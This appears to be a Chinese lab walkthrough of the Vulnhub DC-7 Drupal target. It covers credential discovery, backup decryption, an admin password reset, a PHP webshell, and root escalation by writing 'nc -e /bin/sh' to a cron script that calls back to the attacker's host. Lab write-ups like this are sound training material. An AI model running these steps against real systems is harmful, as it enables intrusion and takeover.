Vulnhub-DC-1,7

靶机IP:192.168.20.141
kaliIP:192.168.20.128
网络有问题的可以看下搭建Vulnhub靶机网络问题(获取不到IP)

前言

1和7都是Drupal的网站,只写了7,包含1的知识点

信息收集

用nmap扫描端口及版本号
在这里插入图片描述
进入主页查看作者给的提示,不是暴力破解的思路
在这里插入图片描述
在这个网站逛逛看看dirsearch扫出来的目录,最后看到页面左下角的@DC7USER
用谷歌搜素,搜到了一个github用户
在这里插入图片描述
进入主页查看项目,看到作者的readme(找对地方了)
在这里插入图片描述
观察这些文件,查看敏感文件config.php
在这里插入图片描述
获得了用户dc7user密码MdR3xOgB7#dW

漏洞利用

用这组用户名密码尝试登陆,后台登录无效,ssh登陆成功
在这里插入图片描述

提权

ls看下目录发现,有个backups文件夹和mbox文件
看下mbox文件是存的是mail信息,root运行/opt/scripts/backups.sh脚本的日志,一直在循环打印,像是个计划任务执行。

dc7user@dc-7:~$ ls
backups  mbox
dc7user@dc-7:~$ cat mbox

From root@dc-7 Thu Aug 29 17:00:22 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 17:00:22 +1000
Received: from root by dc-7 with local (Exim 4.89)
        (envelope-from <root@dc-7>)
        id 1i3EPu-0000CV-5C
        for root@dc-7; Thu, 29 Aug 2019 17:00:22 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3EPu-0000CV-5C@dc-7>
Date: Thu, 29 Aug 2019 17:00:22 +1000

Database dump saved to /home/dc7user/backups/website.sql               [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists

查看mail,一直在循环发邮件,应该是个计划任务执行。那么能不能直接在这个计划任务中加入反弹shell命令去提权呢?
在这里插入图片描述
我们到脚本路径下查看脚本
这里这个drush命令,是简化了创建和管理Drupal8网站的命令行工具。参考使用Drush
后面会用到
在这里插入图片描述
脚本权限,我们现在的权限无法写入数据,但是web权限的用户就可以了,只要我们拿到web权限应该就可以通过计划任务提权到root了。

dc7user@dc-7:/opt/scripts$ ls -l
total 4
-rwxrwxr-x 1 root www-data 520 Aug 29  2019 backups.sh

之后拿后台admin密码有多种方法

覆盖admin密码

带着这个思路再去备份文件夹下看看,是两个加密文件

dc7user@dc-7:~$ cd backups/
dc7user@dc-7:~/backups$ ls
website.sql.gpg  website.tar.gz.gpg

发现加密文件正是这个脚本生成的用的是gpg,那么我们用gpg解密文件

dc7user@dc-7:~/backups$ gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --decrypt /home/dc7user/backups/website.sql.gpg > /home/dc7user/backups/website.sql
gpg: AES256 encrypted data
gpg: encrypted with 1 passphrase
dc7user@dc-7:~/backups$ ls
website.sql  website.sql.gpg  website.tar.gz.gpg
dc7user@dc-7:~/backups$ gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --decrypt /home/dc7user/backups/website.tar.gz.gpg > /home/dc7user/backups/website.tar.gz
gpg: AES256 encrypted data
gpg: encrypted with 1 passphrase
dc7user@dc-7:~/backups$ ls
website.sql  website.sql.gpg  website.tar.gz  website.tar.gz.gpg

之后看下drupal网站配置文件
在这里插入图片描述

$databases['default']['default'] = array (
  'database' => 'd7db',
  'username' => 'db7user',
  'password' => 'yNv3Po00',
  'prefix' => '',
  'host' => 'localhost',
  'port' => '',
  'namespace' => 'Drupal\\Core\\Database\\Driver\\mysql',
  'driver' => 'mysql',
);
$config_directories['sync'] = 'sites/default/files/config_yQDLLJdPf9UT4DSAB5Wfl6XeoBn0AqtLqUYyVc4KUWQW-3USMUdXWY0UZmZ3Az5mT_DMS955DQ/sync';
dc7user@dc-7:~/backups/html/sites/default$ 

拿到数据库密码进数据库看看

dc7user@dc-7:~/backups/html/sites/default$ mysql -u db7user -pyNv3Po00
Welcome to the MariaDB monitor.  Commands end with ; or \g.                                                                                                                                                                   
Your MariaDB connection id is 10270                                                                                                                                                                                           
Server version: 10.1.38-MariaDB-0+deb9u1 Debian 9.8                                                                                                                                                                           
                                                                                                                                                                                                                              
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.                                                                                                                                                          
                                                                                                                                                                                                                              
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.                                                                                                                                                
                                                                                                                                                                                                                              
MariaDB [(none)]>  

sql语句就不贴了,发现网站用户密码放在users_field_data表中
我们自己生成个简单的密码,用网站加密机制加密后放入数据库,关于哈希值的生成参考Drupal 8 → How to manually reset an admin password on CentOS

dc7user@dc-7:~$ cd /var/www/html/core/
assets/   config/   includes/ lib/      misc/     modules/  profiles/ scripts/  tests/    themes/   
dc7user@dc-7:~$ cd /var/www/html/core/scripts/
dc7user@dc-7:/var/www/html/core/scripts$ php password-hash.sh "123456"

password: 123456                hash: $S$E2meigPYO.Bw2Zai46ONGUKwR/OGZ5naeJS0aQLGkdloQnkFi3WX

dc7user@dc-7:/var/www/html/core/scripts$ 

之后覆盖admin的密码
回到登录页进行登录,可能会发现,等不不进去的情况,清一下缓存。就可以登录了

MariaDB [d7db]> truncate table flood;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    27
Current database: d7db

Query OK, 0 rows affected (0.14 sec)

MariaDB [d7db]> truncate table cache_entity;
Query OK, 0 rows affected (0.06 sec)

字典爆破密码

这个在DC-1中可以尝试hashcat,john爆破下后台root密码。

drush修改管理员密码

参考使用Drush

drush upwd admin --password="123456"

drush

登录到后台之后,有extends可以下载拓展包,我们下载https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
下载完之后记得在list页面,enable一下php
在这里插入图片描述
之后我们去编辑文章将一句话木马写到文章内容中,text fomat选择PHP code
在这里插入图片描述

之后保存,并访问文章,发现php语句被解析
在这里插入图片描述
用蚁剑连接
在这里插入图片描述
靶机是有nc的,反弹shell
在这里插入图片描述
接下来就可以到咱们前边的思路了,有了web权限,就可以进行计划任务执行

www-data@dc-7:/opt/scripts$ ls
ls
backups.sh
www-data@dc-7:/opt/scripts$ echo 'nc -e /bin/sh 192.168.20.128 7777' > backups.sh
<ho 'nc -e /bin/sh 192.168.20.128 7777' > backups.sh
www-data@dc-7:/opt/scripts$ cat backups.sh
cat backups.sh
nc -e /bin/sh 192.168.20.128 7777

之后kali监听等待
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/703201.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ROS2底层机制源码分析

init ->init_and_remove_ros_arguments ->init ->Context::init 保存初始化传入的信号 ->install_signal_handlers→SignalHandler::install 开线程响应信号 ->_remove_ros_arguments 移除ros参数 ->SingleNodeManager::instance().…

条件判断if语句与case语句

一、条件测试 test命令进行条件测试&#xff0c;然后根据返回值来判断条件是否成立。 常用操作符&#xff1a; -e &#xff1a;既可以测试文件又可以测试目录是否存在 -d &#xff1a;测试目录是否存在 -f &#xff1a;测试文件是否存在 -r &#xff1a;测试当前用户是否…

前端加载 动画特效

效果图: 完整代码: <!DOCTYPE html> <html> <head><meta charset="UTF-8" /><title>加载动画</title><style type="text/css">/* 设置页面背景颜色 */body {background: #ECF0F1;}/* 定义加载动画容器的样式…

抖店没人做了?不是项目不行了,而是商家们都换思路去玩了

我是王路飞。 有没有发现现在很多抖店新手都在吐槽&#xff0c;抖店不好做了&#xff0c;做不起来&#xff0c;没人做了&#xff0c;太内卷了...... 对这种做不起来还在怪项目本身的&#xff0c;一定要离他远一点&#xff0c;省得被他的负能量给影响到自己的状态。 任何项目…

怎么学习汇川Codesys PLC教程?

前言 各位好&#xff0c;我在B站和抖音上都有发布视频的&#xff0c;搜索我的名称“阿凡工控分享”即可。在CSDN上发表文章也是想把我的一点见解和经验分享出来&#xff0c;进一步的方便大家进行学习。 我是正文 本文主要也是为了方便大家学习汇川的Codesys PLC而制作的&…

Java并发编程之线程池源码解析与实现详解

Java并发编程是现代开发中非常重要的一个领域。使用线程池来管理和控制线程的创建和生命周期&#xff0c;可以更加高效地利用系统资源&#xff0c;提高系统的并发性能。线程池是一种常见的并发编程模型&#xff0c;Java提供了ThreadPoolExecutor类来实现线程池。本文将详细解析…

⌈ 传知代码 ⌋ MonoCon解读与复现

&#x1f49b;前情提要&#x1f49b; 本文是传知代码平台中的相关前沿知识与技术的分享~ 接下来我们即将进入一个全新的空间&#xff0c;对技术有一个全新的视角~ 本文所涉及所有资源均在传知代码平台可获取 以下的内容一定会让你对AI 赋能时代有一个颠覆性的认识哦&#x…

写给大数据开发:好的指标定义、特性与业务价值

在大数据时代&#xff0c;数据的质量对于业务决策和数据分析至关重要。好的数据不仅丰富&#xff0c;而且准确、及时&#xff0c;为业务提供有力支撑。 文章目录 数据定义与特性数据对业务的价值指标展示与规范化定义一些指标的定义好的数据是业务成功的关键 数据定义与特性 好…

在 Wed 中应用 MyBatis(同时使用MVC架构模式,以及ThreadLocal 事务控制)

1. 在 Wed 中应用 MyBatis&#xff08;同时使用MVC架构模式&#xff0c;以及ThreadLocal 事务控制&#xff09; 文章目录 1. 在 Wed 中应用 MyBatis&#xff08;同时使用MVC架构模式&#xff0c;以及ThreadLocal 事务控制&#xff09;2. 实现步骤&#xff1a;1. 第一步&#xf…

python爬虫爬取微博评论--完整版(超详细,大学生不骗大学生)

目录 一、找到页面 二、学会使用检查元素 2.1 打开检查元素界面 2.2 找到所有评论所在的位置 2.2.1 搜索评论 2.2.2 找到data表 三、基础部分代码实现 四、格式化输出 4.1 了解存储格式 4.2 单独取出内容 4.3 取出所有评论内容 4.4 格式化读取信息 五、导出成表格…

【ARM Cache 与 MMU 系列文章 7.4 -- ARMv8 MMU 配置 寄存器使用介绍】

请阅读【ARM Cache 及 MMU/MPU 系列文章专栏导读】 及【嵌入式开发学习必备专栏】 文章目录 MMU 转换控制寄存器 TCR_ELxTCR_ELx 概览TCR_ELx 寄存器字段详解TCR 使用示例Normal MemoryCacheableShareability MMU 内存属性寄存器 MAIR_ELxMAIR_ELx 寄存器结构内存属性字段Devic…

两种典型的嵌入式系统架构模式

大多数嵌入式系统都具备实时特征&#xff0c;那么&#xff0c;这种嵌入式系统的典型架构可概括为两种模式&#xff0c;即层次化模式架构和递归模式架构。 1.层次化模式架构 为了达到概念一致性&#xff0c;许多系统通过层次化的方法进行搭建。这样做的结果是&#xff1a;位于高…

【漏洞复现】海洋CMS /js/player/dmplayer/dmku/ SQL注入漏洞复现(CVE-2024-29275)

0x01 产品简介 海洋CMS是一套专为不同需求的站长而设计的内容管理系统&#xff0c;灵活、方便、人性化设计、内容的专业网站。海洋CMS基于PHPMySql技术开发&#xff0c;完全开源免费、无任何加密代码。简单易用是最大的特色&#xff0c;可快速建立一个海量 0x02 漏洞概述 海…

翻译: Gen AI生成式人工智能学习资源路线图一

Introduction 介绍 本文档旨在作为学习现代人工智能系统背后的关键概念的手册。考虑到人工智能最近的发展速度&#xff0c;确实没有一个好的教科书式的资源来快速了解 LLMs 或其他生成模型的最新和最伟大的创新&#xff0c;但互联网上有大量关于这些主题的优秀解释资源&#x…

.NET周刊【6月第2期 2024-06-09】

国内文章 C#开源实用的工具类库&#xff0c;集成超过1000多种扩展方法 https://www.cnblogs.com/Can-daydayup/p/18230586 文章介绍了一个免费的C#工具类库Z.ExtensionMethods&#xff0c;可以通过NuGet包管理器轻松集成。该库支持.NET Standard 2.0和.NET Framework 4.0&am…

make和Cmake都有什么区别?(内附使用详解)

Make和Cmake make和Cmake的区别&#xff1a; 角色和功能: make: 是一个构建工具&#xff0c;它的任务是读取 Makefile 文件&#xff0c;并基于这些文件中的指令执行具体的构建操作。Makefile 文件包含了如何构建项目的规则&#xff0c;make 负责解析这些规则并执行必要的命令来…

webshell获取总结(cms获取方法、非cms获取方法、中间件拿Webshell方法)

目录 前期准备&#xff1a; 1、cookices靶场网站搭建&#xff1a; 2、dedecms靶场环境搭建&#xff1a; 获取Webshell方法总结&#xff1a; 一、CMS获取Webshell方法 二、非CMS获取Webshell方法 1、数据库备份获取Webshell 例如&#xff1a; 2、抓包上传获取Webshell 3、…

什么是APS计划排程? 企业产能与效率提升的智能引擎

快节奏和愈发激烈的现代工业环境中&#xff0c;如何提升生产效率、降低生产成本、最大化的满足订单交期、实现企业的降本增效&#xff0c;已成为众多企业关注的焦点。而APS系统——作为高级生产计划和调度系统的代表&#xff0c;正以其卓越的生产过程实时监控、产品加工过程优化…

[CAN] 创建解析CAN报文DBC文件教程

&#x1f449;本教程需要先安装CANdb软件&#xff0c;[CAN] DBC数据库编辑器的下载与安装 &#x1f64b;前言 DBC(全称为Database CAN)&#xff0c;是用于描述单个CAN网络中各逻辑节点的信息。 DBC是汽车ECU&#xff08;Electronic Control Unit&#xff0c;电子控制单元&…

Java面试八股之构造方法有哪些特性

构造方法有哪些特性 方法名与类名相同&#xff1a;构造方法的名称必须与它所在的类名称完全相同&#xff0c;包括大小写。 无返回类型&#xff1a;构造方法没有返回类型声明&#xff0c;连void也不需要。虽然没有明确的返回类型&#xff0c;但它隐式地返回了新创建的实例的引…